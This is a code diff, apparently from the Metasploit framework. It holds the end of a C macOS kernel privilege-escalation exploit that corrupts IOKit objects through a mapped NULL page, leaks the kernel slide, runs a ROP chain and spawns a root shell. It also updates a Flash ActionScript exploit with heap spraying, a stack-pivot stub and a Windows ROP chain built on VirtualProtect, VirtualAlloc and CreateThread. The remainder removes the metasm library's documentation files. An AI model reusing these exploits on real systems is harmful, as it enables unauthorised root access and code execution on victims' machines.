+ exit(-20); + } + uint64_t scalarO_64=0; + uint32_t outputCount = 1; + IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount); + if (!scalarO_64) { + puts("failed infoleaking"); + exit(-20); + } + scalarO_64 <<= 8; + scalarO_64 |= 0xffffff0000000000; + return scalarO_64; +} +typedef struct { + mach_msg_header_t header; + mach_msg_body_t body; + mach_msg_ool_descriptor_t desc; + mach_msg_trailer_t trailer; +} oolmsg_t; +static uint16_t off_w = 0; +__attribute__((always_inline)) static inline +void or_everywhere(uint64_t add) { + io_connect_t conn = MACH_PORT_NULL; + IOServiceClose(0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt + IOServiceOpen(0,0,0,0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt + alloc(0, 0x1000); + volatile uint64_t* mp = (uint64_t*) 0; + if(!off_w) { + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)0xC00; + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + IOServiceClose(conn); + char* kp=(char*)0xC00; + while ((uint32_t)kp < 0x1000) { + if (*kp == 0x10) { + break; + } + kp++; + } + if ((uint32_t)kp == 0x1000) { + vm_deallocate(mach_task_self(), 0, 0x1000); + puts("not vulnerable"); + exit(-1); + } + mp=0; + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)0xC00 - (uint32_t)(kp-0xC00); + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + IOServiceClose(conn); + if (*((char*)0xC00)!=0x10) { + vm_deallocate(mach_task_self(), 0, 0x1000); + puts("wrong offset"); + exit(-2); + } + off_w = (uint16_t) kp - 0xc00; + } + mp=0; + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)(add - off_w); + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + vm_deallocate(mach_task_self(), 0, 0x1000); + IOServiceClose(conn); +} +__attribute__((always_inline)) static inline +void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) { + oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); + if(!*msgp){ + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp); + mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND); + } + bzero(msg,sizeof(oolmsg_t)); + msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX; + msg->header.msgh_remote_port = *msgp; + msg->header.msgh_local_port = MACH_PORT_NULL; + msg->header.msgh_size = sizeof(oolmsg_t); + msg->header.msgh_id = 1; + msg->body.msgh_descriptor_count = 1; + msg->desc.address = (void *)vz; + msg->desc.size = svz; + msg->desc.type = MACH_MSG_OOL_DESCRIPTOR; + mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 ); + free(msg); +} +__attribute__((always_inline)) static inline +char* read_kern_data(mach_port_t port) { + oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); + bzero(msg,sizeof(oolmsg_t)+0x2000); + mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL); + return msg->desc.address; +} +int main(int argc, char** argv, char** envp){ + if (getuid() == 0) { + execve("/bin/sh",((char* []){"/bin/sh",0}), envp); + exit(0); + } + if((int)main < 0x5000) execve(argv[0],argv,envp); + lsym_map_t* mapping_kernel=lsym_map_file("/mach_kernel"); + if (!mapping_kernel || !mapping_kernel->map) { + mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel"); + } + lsym_map_t* mapping_audio=lsym_map_file("/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily"); + kslide = kext_pointer("com.apple.iokit.IOAudioFamily") + RESOLVE_SYMBOL(mapping_audio, "__ZTV23IOAudioEngineUserClient") + 0x10; + sync(); + kern_return_t err; + io_iterator_t iterator; + IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator); + servicex = IOIteratorNext(iterator); + IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOAudioEngine"), &iterator); + servicea = IOIteratorNext(iterator); + uint64_t c = 0; + or_everywhere((uint64_t)&c); + if (c != 0x10) { + puts("not vulnerable"); + return 2; + } + int ctr=0; +#define DO_TIMES(x) for(ctr=0;ctr__rop_chain; + + or_everywhere(heap_info[1].kobject+0x220); // set online + or_everywhere(heap_info[1].kobject+0x208); // set userbuffer to 0x000000000010 (!= NULL) + alloc(0, 0x1000); + volatile uint64_t* mp = (uint64_t*) 0x10; + mp[0] = (uint64_t)0; + mp[1] = (uint64_t)vtable; + mp[2] = (uint64_t)&mp[1]; + uint64_t xn = IOConnectRelease((io_connect_t )heap_info[1].connect); // running code! + vm_deallocate(mach_task_self(), 0, 0x1000); + setuid(0); + if (getuid() == 0) { + system("/bin/sh"); + exit(0); + } + + puts("didn't get root, but this system is vulnerable. "); + puts("kernel heap may be corrupted"); + return 1; +} diff --git a/external/source/flash_detector/bin/expressInstall.swf b/external/source/flash_detector/bin/expressInstall.swf new file mode 100755 index 0000000000..86958bf3a7 Binary files /dev/null and b/external/source/flash_detector/bin/expressInstall.swf differ diff --git a/external/source/flash_detector/bin/index.html b/external/source/flash_detector/bin/index.html new file mode 100755 index 0000000000..20a2ff2f1b --- /dev/null +++ b/external/source/flash_detector/bin/index.html @@ -0,0 +1,39 @@ + + + + + flash_detector + + + + + + + +
+

flash_detector

+

Get Adobe Flash player

+
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Main +{ + + public static function main(swfRoot:MovieClip):Void + { + // entry point + var app:Main = new Main(); + } + + public function Main() + { + var version:String = getVersion() + ExternalInterface.call("setFlashVersion", version) + } + + private function getVersion():String + { + try { + var version:String = capabilities.version + version = version.split(" ")[1] + version = version.split(",").join(".") + return version + } catch (err:Error) { + return "" + } + } + +} \ No newline at end of file diff --git a/external/source/flash_exploiter/Exploit.as b/external/source/flash_exploiter/Exploit.as index f0aa9102da..6bcca0ee45 100755 --- a/external/source/flash_exploiter/Exploit.as +++ b/external/source/flash_exploiter/Exploit.as @@ -25,13 +25,11 @@ package private var b64:Base64Decoder = new Base64Decoder() private var payload:ByteArray private var platform:String - private var os:String private var exploiter:Exploiter public function Exploit() { platform = LoaderInfo(this.root.loaderInfo).parameters.pl - os = LoaderInfo(this.root.loaderInfo).parameters.os var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh var pattern:RegExp = / /g; b64_payload = b64_payload.replace(pattern, "+") @@ -42,7 +40,7 @@ package The exploit code here. The goal is to corrupt the uv vector length with 0x3fffffff or bigger. */ - exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e) + exploiter = new Exploiter(this, platform, payload, uv, 0x13e) } } } diff --git a/external/source/flash_exploiter/Exploiter.as b/external/source/flash_exploiter/Exploiter.as old mode 100644 new mode 100755 index ecbf56fac5..591cdce944 --- a/external/source/flash_exploiter/Exploiter.as +++ b/external/source/flash_exploiter/Exploiter.as @@ -11,27 +11,33 @@ package private var eba:ExploitByteArray private var payload:ByteArray private var platform:String - private var op_system:String private var pos:uint private var byte_array_object:uint private var main:uint private var stack_object:uint private var payload_space_object:uint private var buffer_object:uint + private var magic:uint + private var magic_arg0:uint + private var magic_arg1:uint + private var magic_object:uint + private var magic_table:uint private var buffer:uint private var vtable:uint private var stack_address:uint private var payload_address:uint + private var stub_address:uint + private var stub_space_object:uint + private var stub:Vector. = new Vector.(8) private var stack:Vector. = new Vector.(0x6400) private var payload_space:Vector. = new Vector.(0x6400) private var spray:Vector. = new Vector.(90000) - public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector., uv_length:uint):void + public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector., uv_length:uint):void { exploit = exp payload = p platform = pl - op_system = os ev = new ExploitVector(uv, uv_length) if (!ev.is_ready()) return @@ -49,9 +55,18 @@ package cleanup() } + static function Magic(...a){} + private function spray_objects():void { Logger.log("[*] Exploiter - spray_objects()") + + // mov eax,[esp+0x4] + // xchg eax,esp + // rets + stub[0] = 0x0424448B + stub[1] = 0x0000C394 + for (var i:uint = 0; i < spray.length; i++) { spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) @@ -59,6 +74,8 @@ package spray[i][1] = exploit spray[i][2] = stack spray[i][3] = payload_space + spray[i][4] = Magic + spray[i][5] = stub } } @@ -76,6 +93,8 @@ package main = ev.at(pos + 1) - 1 stack_object = ev.at(pos + 2) - 1 payload_space_object = ev.at(pos + 3) - 1 + magic = ev.at(pos + 4) - 1 + stub_space_object = ev.at(pos + 5) - 1 if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { return false } @@ -98,6 +117,11 @@ package vtable = ev.read(main) stack_address = ev.read(stack_object + 0x18) payload_address = ev.read(payload_space_object + 0x18) + stub_address = ev.read(stub_space_object + 0x18) + magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0) + magic_table = ev.read(magic_object) + magic_arg0 = ev.read(magic + 0x1c) + magic_arg1 = ev.read(magic + 0x20) } private function corrupt_byte_array():void @@ -138,13 +162,7 @@ package if (platform == "linux") { do_rop_linux() } else if (platform == "win") { - if (op_system == "Windows 8.1") { - do_rop_windows8() - } else if (op_system == "Windows 7") { - do_rop_windows() - } else { - return - } + do_rop_windows() } else { return } @@ -167,88 +185,20 @@ package var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) // Continuation of execution - eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable - eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main eba.write(0, "\x89\x03", false) // mov [ebx], eax - eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10 // Put the payload (command) in memory eba.write(payload_address + 8, payload, true); // payload - // Put the fake vtabe / stack on memory - eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... - eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + // Put the fake stack on memory eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot - eba.write(0, virtualprotect) - - // VirtualProtect - eba.write(0, virtualalloc) - eba.write(0, buffer + 0x10) - eba.write(0, 0x1000) - eba.write(0, 0x40) - eba.write(0, buffer + 0x8) // Writable address (4 bytes) - - // VirtualAlloc - eba.write(0, memcpy) - eba.write(0, 0x7f6e0000) - eba.write(0, 0x4000) - eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE - eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE - - // memcpy - eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't - eba.write(0, 0x7f6e0000) - eba.write(0, payload_address + 8) - eba.write(0, payload.length) - - // CreateThread - eba.write(0, createthread) - eba.write(0, buffer + 0x10) // return to fix things - eba.write(0, 0) - eba.write(0, 0) - eba.write(0, 0x7f6e0000) - eba.write(0, 0) - eba.write(0, 0) - eba.write(0, 0) - - eba.write(main, stack_address + 0x18000) // overwrite with fake vtable - exploit.toString() // call method in the fake vtable - } - - private function do_rop_windows8():void - { - Logger.log("[*] Exploiter - do_rop_windows8()") - var pe:PE = new PE(eba) - var flash:uint = pe.base(vtable) - var winmm:uint = pe.module("winmm.dll", flash) - var advapi32:uint = pe.module("advapi32.dll", flash) - var kernelbase:uint = pe.module("kernelbase.dll", advapi32) - var kernel32:uint = pe.module("kernel32.dll", winmm) - var ntdll:uint = pe.module("ntdll.dll", kernel32) - var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) - var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) - var createthread:uint = pe.procedure("CreateThread", kernelbase) - var memcpy:uint = pe.procedure("memcpy", ntdll) - var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) - var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) - // Continuation of execution - eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable - eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main - eba.write(0, "\x89\x03", false) // mov [ebx], eax - eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - // Put the payload (command) in memory - eba.write(payload_address + 8, payload, true); // payload - - // Put the fake vtabe / stack on memory - eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... - eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] - eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot eba.write(0, virtualprotect) - - // VirtualProtect + + // VirtualProtect eba.write(0, virtualalloc) eba.write(0, buffer + 0x10) eba.write(0, 0x1000) @@ -257,14 +207,14 @@ package // VirtualAlloc eba.write(0, memcpy) - eba.write(0, 0x7ffd0000) + eba.write(0, 0x7f6e0000) eba.write(0, 0x4000) eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE // memcpy eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't - eba.write(0, 0x7ffd0000) + eba.write(0, 0x7f6e0000) eba.write(0, payload_address + 8) eba.write(0, payload.length) @@ -273,13 +223,31 @@ package eba.write(0, buffer + 0x10) // return to fix things eba.write(0, 0) eba.write(0, 0) - eba.write(0, 0x7ffd0000) + eba.write(0, 0x7f6e0000) eba.write(0, 0) eba.write(0, 0) eba.write(0, 0) + + for (var i:uint; i < 0x100; i++) { + eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4)) + } - eba.write(main, stack_address + 0x18000) // overwrite with fake vtable - exploit.toString() // call method in the fake vtable + // VirtualProtect the stub with a *reliable* stackpivot + eba.write(stack_address + 8 + 0x80 + 28, virtualprotect) + eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) + eba.write(magic + 0x1c, stub_address) + eba.write(magic + 0x20, 0x10) + var args:Array = new Array(0x41) + Magic.call.apply(null, args); + + // Call to our stackpivot and init the rop chain + eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8) + eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) + eba.write(magic + 0x1c, stack_address + 0x18000) + Magic.call.apply(null, null); + eba.write(magic_object, magic_table); + eba.write(magic + 0x1c, magic_arg0) + eba.write(magic + 0x20, magic_arg1) } private function do_rop_linux():void diff --git a/lib/metasm.rb b/lib/metasm.rb deleted file mode 100644 index db05c0b36e..0000000000 --- a/lib/metasm.rb +++ /dev/null @@ -1,2 +0,0 @@ -# Load a slightly tweaked METASM stub -require 'metasm/metasm' diff --git a/lib/metasm/.hgtags b/lib/metasm/.hgtags deleted file mode 100644 index 3025637434..0000000000 --- a/lib/metasm/.hgtags +++ /dev/null @@ -1,3 +0,0 @@ -71374080fcf5e7be3322ce56f062c29c984c577b sstic07 -f3bcc93471bf9186ed62edc1bef90bbe6614a0a3 metasm-0.1-rc1 -13bead20e76be749ecdb67096d9cb0847d69ad59 version 0.1 diff --git a/lib/metasm/BUGS b/lib/metasm/BUGS deleted file mode 100644 index 825cf4d0a2..0000000000 --- a/lib/metasm/BUGS +++ /dev/null @@ -1,11 +0,0 @@ -List of known bugs/missing features, in no particular order: - -PPC cpu cannot parse/encode code -Disassembler is sloooow -The GTK UI is quite sluggish too -Disassembler backtracker does weird things -Mach-O encoder does not work (binaries won't load on OSX) -ELF encoder may need tweaks to handle OpenBSD -Ia32 compile_c misses many features (divisions, bitfields), and needs a register allocator -Asm parser does not handle well ; comments (eg "foo ; */* blargimdead") (c-style comments are parsed before asm-style, so multiline /* after ; is bad) -The BUGS file is incomplete diff --git a/lib/metasm/CREDITS b/lib/metasm/CREDITS deleted file mode 100644 index e07a115f4f..0000000000 --- a/lib/metasm/CREDITS +++ /dev/null @@ -1,17 +0,0 @@ -N: Yoann GUILLOT -E: yoann at ofjj.net -D: Lead developper - -N: Julien TINNES -E: julien at cr0.org -D: Senior Product Manager -D: Ideas, bug hunting, Yoann-slapping -D: Metasploit integration - -N: Arnaud CORNET -E: arnaud.cornet at gmail.com -D: Initial ELF support - -N: Raphael RIGO -E: raphael at cr0.org -D: Initial MIPS support and misc stuff diff --git a/lib/metasm/INSTALL b/lib/metasm/INSTALL deleted file mode 100644 index e4a20b2f5c..0000000000 --- a/lib/metasm/INSTALL +++ /dev/null @@ -1,61 +0,0 @@ -Metasm is a pure ruby lib, and the core (metasm subdir) does not depend on any -ruby library (except the metasm/gui, which can use gtk2/qt). - -So the install is quite simple: - - -LOCAL INSTALLATION: - -Either modify your RUBYLIB environment variable to include the directory -containing metasm.rb -e.g. -under linux or cygwin: -if you downloaded metasm to $HOME/metasm, you should have a file named -$HOME/metasm/metasm.rb and need to add "export RUBYLIB=$RUBYLIB:~/metasm" to -~/.bash_profile - -under windows: -Add the path to the directory containing metasm.rb to the environment. -This is accessible through: rightclick on 'my computer', tab 'advanced', -environment. -If a line RUBYLIB exists, add ':/path/to/metasmdir' at the end, otherwise -create a new variable 'RUBYLIB' with value '/path/to/metasmdir' - - -SYSTEMWIDE INSTALLATION: - -You can also copy the metasm.rb and the metasm subdirectory (the one containing -ia32.rb and so on) under the ruby library path. -e.g. cp -a metasm.rb metasm /usr/local/lib/site_ruby/1.8 (linux) -select metasm.rb and metasm ; copy ; goto D:\apps\ruby18\lib\ruby\1.8\ ; paste -(replace D:\apps\ruby18 with the directory where you installed ruby) (win) - -Note that metasm may not work well with rubygems, so disable it if you have the -choice. - -For a global installation, if you intend to use the DynLdr class (eg to call -the native windows API), you should also run the metasm/dynldr.rb script on -install/update, which will generate an up-to-date dynldr.so binary ruby module. - - -TESTING: - -Once done, open a new session and type "ruby -r metasm -e 'p Metasm::VERSION'" -at a commandline prompt, it should print a single line with a number in it. - - -GUI: - -If you want to use the graphical interface (dbg/dasm), you need the ruby-gtk2 library. -Under linux, use your package manager to install ruby-gtk2 -e.g. for debian/ubuntu, type sudo apt-get install libgtk2-ruby - -Under windows, you'll need to install the GTK2 and the ruby bindings manually. -Please follow the instructions at: -http://ruby-gnome2.sourceforge.jp/hiki.cgi?Install+Guide+for+Windows - -To test, try to launch the script metasm/samples/disassemble-gui.rb (double -click on it), it should show a program selection window. Type 'c' to start -disassembling somewhere, and space to change to graph mode (see the script source -for more key bindings) - diff --git a/lib/metasm/LICENCE b/lib/metasm/LICENCE deleted file mode 100644 index 3b473dbfc0..0000000000 --- a/lib/metasm/LICENCE +++ /dev/null @@ -1,458 +0,0 @@ - GNU LESSER GENERAL PUBLIC LICENSE - Version 2.1, February 1999 - - Copyright (C) 1991, 1999 Free Software Foundation, Inc. - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - -[This is the first released version of the Lesser GPL. It also counts - as the successor of the GNU Library Public License, version 2, hence - the version number 2.1.] - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. 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You can also try the --help argument if -you're feeling lucky. - -For more information, check the doc/ subdirectory. The text files can be -compiled to html using the misc/txt2html.rb script. - - - -Here is a short overview of the Metasm internals. - - -Assembly: - -When compiling, you start from a source text (ruby String, consisting -mostly in a sequence of instructions/data/padding directive), which is parsed. - -The string is handed to a Preprocessor instance (which handles #if, #ifdef, -#include, #define, /* */ etc, should be 100% compatible with gcc -E), which is -encapsulated in an AsmPreprocessor for assembler sources (to handles asm macro -definitions, 'equ' and asm ';' comments). -The interface to do that is ExeFormat#parse(text[, filename, lineno]) or -ExeFormat.assemble (which calls .new, #parse and #assemble). - -The (Asm)Preprocessor returns tokens to the ExeFormat, which parses them as Data, -Padding, Labels or parser directives. Parser directives always start with a dot. -They can be generic (.pad, .offset...) or ExeFormat-specific (.section, -.import, .entrypoint...). They are handled by #parse_parser_instruction(). -If the ExeFormat does not recognize a word, it is handed to its CPU instance, -which is responsible for parsing Instructions (or raise an exception). -All those tokens are stored in one or more arrays in the @source attribute of -the ExeFormat (Shellcode's @source is an Array, for PE/ELF it is a hash -[section name] => [Array of parsed data]) -Every immediate value can be an arbitrary Expression (see later). - -You can then assemble the source to binary sections using ExeFormat#assemble. - -Once the section binaries are available, the whole binary executable can be -written to disk using ExeFormat#encode_file(filename[, format]). - -PE and ELF include an autoimport feature that allows automatic creation of -import-related data for known OS-specific functions (e.g. unresolved calls to -'strcpy' will generate data so that the binary is linked against the libc -library at runtime). - -The samples/{exe,pe,elf}encode.rb can take an asm source file as argument -and compile it to a working executable. - -The CPU classes are responsible for parsing and encoding individual -instructions. The current Ia32 parser uses the Intel syntax (e.g. mov eax, 42). -The generic parser recognizes labels as a string at the beginning of a line -followed by a colon (e.g. 'some_label:'). GCC-style local labels may be used -(e.g. '1:', refered to using '1b' (backward) or '1f' (forward) ; may be -redefined as many times as needed.) -Data are specified using 'db'-style notation (e.g. 'dd 42h', 'db "blabla", 0') -See samples/asmsyntax.rb - - -EncodedData: - -In Metasm all binary data is stored as an EncodedData. -EncodedData has 3 main attributes: - - #data which holds the raw binary data (generally a ruby String, but see -VirtualString) - - #export which is a hash associating an export name (label name) to an offset -within #data - - #reloc which is a hash whose keys are offsets within #data, and whose values -are Relocation objects. -A Relocation object has an endianness (:little/:big), a type (:u32 for unsigned -32bits) and a target (the intended value stored here). -The target is an arbitrary arithmetic/logic Expression. - -EncodedData also has a #virtsize (for e.g. .bss sections), and a #ptr (internal -offset used when decoding things) - -You can fixup an EncodedData, with a Hash variable name => value (value should -be an Expression or a numeric value). When you do that, each relocation's target -is bound using the binding, and if the result is calculable (no external variable -name used in the Expression), the result is encoded using the relocation's -size/sign/endianness information. If it overflows (try to store 128 in an 8bit -signed relocation), an EncodeError exception is raised. Use the :a32 type to -allow silent overflow truncating. -If the relocation's target is not numeric, the target is unchanged if you use -EncodedData#fixup, or it is replaced with the bound target with #fixup! . - - -Disassembly: - -This code is found in the metasm/decode.rb source file, which defines the -Disassembler class. - -The disassembler needs a decoded ExeFormat (to be able to say what data is at -which virtual address) and an entrypoint (a virtual address or export name). -It can then start to disassemble instructions. When it encounters an -Opcode marked as :setip, it asks the CPU for the jump destination (an -Expression that may involve register values, for e.g. jmp eax), and backtraces -instructions until it finds the numeric value. - -On decoding, the Disassembler maintains a #decoded hash associating addresses -(expressions/integer #normalize()d) to DecodedInstructions. - -The disassembly generates an InstructionBlock graph. Each block holds a list of -DecodedInstruction, and pointers to the next/previous block (by address). - -The disassembler also traces data accesses by instructions, and stores Xrefs -for them. -The backtrace parameters can be tweaked, and the maximum depth to consider -can be specifically changed for :r/:w backtraces (instruction memory xrefs) -using #backtrace_maxblocks_data. -When an Expression is backtracked, each walked block is marked so that loops -are detected, and so that if a new code path is found to an existing block, -backtraces can be resumed using this new path. - -The disassembler makes very few assumptions, and in particular does not -suppose that functions will return ; they will only if the backtrace of the -'ret' instructions is conclusive. This is quite powerful, but also implies -that any error in the backtracking process can lead to a full stop ; and also -means that the disassembler is quite slow. - -The special method #disassemble_fast can be used to work around this when the -code is known to be well-formed (ie it assumes that all calls returns) - -When a subfunction is found, a special DecodedFunction is created, which holds -a summary of the function's effects (like a DecodedInstruction on steroids). -This allows the backtracker to 'step over' subfunctions, which greatly improves -speed. The DecodedFunctions may be callback-based, to allow a very dynamic -behaviour. -External function calls create dedicated DecodedFunctions, which holds some -API information (e.g. stack fixup information, basic parameter accesses...) -This information may be derived from a C header parsed beforehand. -If no C function prototype is available, a special 'default' entry is used, -which assumes that the function has a standard ABI. - -Ia32 implements a specific :default entry, which handles automatic stack fixup -resolution, by assuming that the last 'call' instruction returns. This may lead -to unexpected results ; for maximum accuracy a C header holding information for -all external functions is recommanded (see samples/factorize-headers-peimports -for a script to generate such a header from a full Visual Studio installation -and the target binary). - -Ia32 also implements a specific GetProcAddress/dlsym callback, that will -yield the correct return value if the parameters can be backtraced. - -The scripts implementing a full disassembler are samples/disassemble{-gui}.rb -See the comments for the GUI key bindings. - - -ExeFormat manipulation: - -You can encode/decode an ExeFormat (ie decode sections, imports, headers etc) - -Constructor: ExeFormat.decode_file(str), ExeFormat.decode_file_header(str) -Methods: ExeFormat#encode_file(filename), ExeFormat#encode_string - -PE and ELF files have a LoadedPE/LoadedELF counterpart, that are able to work -with memory-mmaped versions of those formats (e.g. to debug running -processes) - - -VirtualString: - -A VirtualString is a String-like object: you can read and may rewrite slices of -it. It can be used as EncodedData#data, and thus allows virtualization -of most Metasm algorithms. -You cannot change a VirtualString length. -Taking a slice of a VirtualString will return either a String (for small sizes) -or another VirtualString (a 'window' into the other). You can force getting a -small VirtualString using the #dup(offset, length) method. -Any unimplemented method called on it is forwarded to a frozen String which is -a full copy of the VirtualString (should be avoided if possible, the underlying -string may be very big & slow to access). - -There are currently 3 VirtualStrings implemented: -- VirtualFile, whichs loads a file by page-sized chunks on demand, -- WindowsRemoteString, which maps another process' virtual memory (uses the -windows debug api through WinDbgAPI) -- LinuxRemoteString, which maps another process' virtual memory (need ptrace -rights, memory reading is done using /proc/pid/mem) - -The Win/Lin version are quite powerful, and allow things like live process -disassembly/patching easily (using LoadedPE/LoadedELF as ExeFormat) - - -Debugging: - -Metasm includes a few interfaces to handle debugging. -The WinOS and LinOS classes offer access to the underlying OS processes (e.g. -OS.current.find_process('foobar') will retrieve a running process with foobar -in its filename ; then process.mem can be used to access its memory.) - -The Windows and Linux low-level debugging APIs have a basic ruby interface -(PTrace and WinAPI) ; which are used by the unified high-end Debugger class. -Remote debugging is supported through the GDB server wire protocol. - -High-level debuggers can be created with the following ruby line: -Metasm::OS.current.create_debugger('foo') - -Only one kind of host debugger class can exist at a time ; to debug multiple -processes, attach to other processes using the existing class. This is due -to the way the OS debugging API works on Windows and Linux. - -The low-level backends are defined in the os/ subdirectory, the front-end is -defined in debug.rb. - -A linux console debugging interface is available in samples/lindebug.rb ; it -uses a (simplified) SoftICE-like look and feel. -It can talk to a gdb-server socket ; use a [udp:] target. - -The disassembler-gui sample allow live process interaction when using as -target 'live:'. - - -C Parser: - -Metasm includes a hand-written C Parser. -It handles all the constructs i am aware of, except hex floats: - - static const L"bla" - - variable arguments - - incomplete types - - __attributes__(()), __declspec() - - #pragma once - - #pragma pack() - - C99 declarators - type bla = { [ 2 ... 14 ].toto = 28 }; - - Nested functions - - __int8 etc native types - - Label addresses (&&label) -Also note that all those things are parsed, but most of them will fail to -compile on the Ia32/X64 backend (the only one implemented so far.) - -Parsing C files should be done using an existing ExeFormat, with the -parse_c_file method. This ensures that format-specific macros/ABI are correctly -defined (ex: size of the 'long' type, ABI to pass parameters to functions, etc) - -When you parse a C String using C::Parser.parse(text), you receive a Parser -object. It holds a #toplevel field, which is a C::Block, which holds #structs, -#symbols and #statements. The top-level functions are found in the #symbol hash -whose keys are the symbol names, associated to a C::Variable object holding -the functions. The function parameter/attributes are accessible through -func.type, and the code is in func.initializer, which is itself a C::Block. -Under it you'll find a tree-like structure of C::Statements (If, While, Asm, -CExpressions...) - -A C::Parser may be #precompiled to transform it into a simplified version that -is easier to compile: typedefs are removed, control sequences are transformed -into 'if (XX) goto YY;' etc. - -To compile a C program, use PE/ELF.compile_c, that will create a C::Parser with -exe-specific macros defined (eg __PE__ or __ELF__). - -Vendor-specific headers may need to use either #pragma prepare_visualstudio -(to parse the Microsoft Visual Studio headers) or prepare_gcc (for gcc), the -latter may be auto-detected (or may not). -Vendor headers tested are VS2003 (incl. DDK) and gcc4 ; ymmv. - -Currently the CPU#compilation of a C code will generate an asm source (text), -which may then be parsed & assembled to binary code. - -See ExeFormat#compile_c, and samples/exeencode.rb - diff --git a/lib/metasm/TODO b/lib/metasm/TODO deleted file mode 100644 index 11361bacfe..0000000000 --- a/lib/metasm/TODO +++ /dev/null @@ -1,114 +0,0 @@ -List of TODO items, by section, in random order - -Ia32 - emu fpu - AVX support - realmode - -X86_64 - decompiler - -CPU - Arm - Sparc - Cell - -Parser - Allow single-file multiplexer (C code + Asm + asm16bit + ...) - Fix the asm prepro comment issue: '; a /* b\n c ; */' should see 'c' - -Assembler - Handle cpu pseudo-instrs (mips 'li' -> lui high + ori low) - SplitReloc? (for pseudo-instrs) - Ia32 GAS syntax - Make the autoimport depend on the target platform and not on the exeformat - Encode FPU constants - -Disasm - DecodedData - Exe decoding generate decodeddata ? - Function variable names using stack analysis + ExpressionString - Fix thunk detection (thunk: mov ecx, 42 jmp [iat_thiscall] is not a thunk) - Test with ET_REL style exe - Store stuff out of mem (to handle big binaries) - Better :default usage - good on call eax, but not on <600k instrs> ret - use binary personality ? (uses call vs uses pushret..) - Improve 'backtrace => patch di.instr.args' - path-specific backtracking ( foo: call a ; a: jmp retloc ; bar: call b ; b: jmp retloc ; retloc: ret ; call foo ; ret : last ret trackback should only reach a:) - Decode pseudo/macro-instrs (mips 'li') - Deoptimizer (instr reordering for readability) - Optimizer (deobfuscating) - Per-instr context (allows to mix cell/ppc, x86 32/16bits, arm/armthumb..) - -Compiler - Optimizer - Register allocator - Instr reordering - Asm intrinsics - Asm inline - inline functions - Separate partial compilation + linking 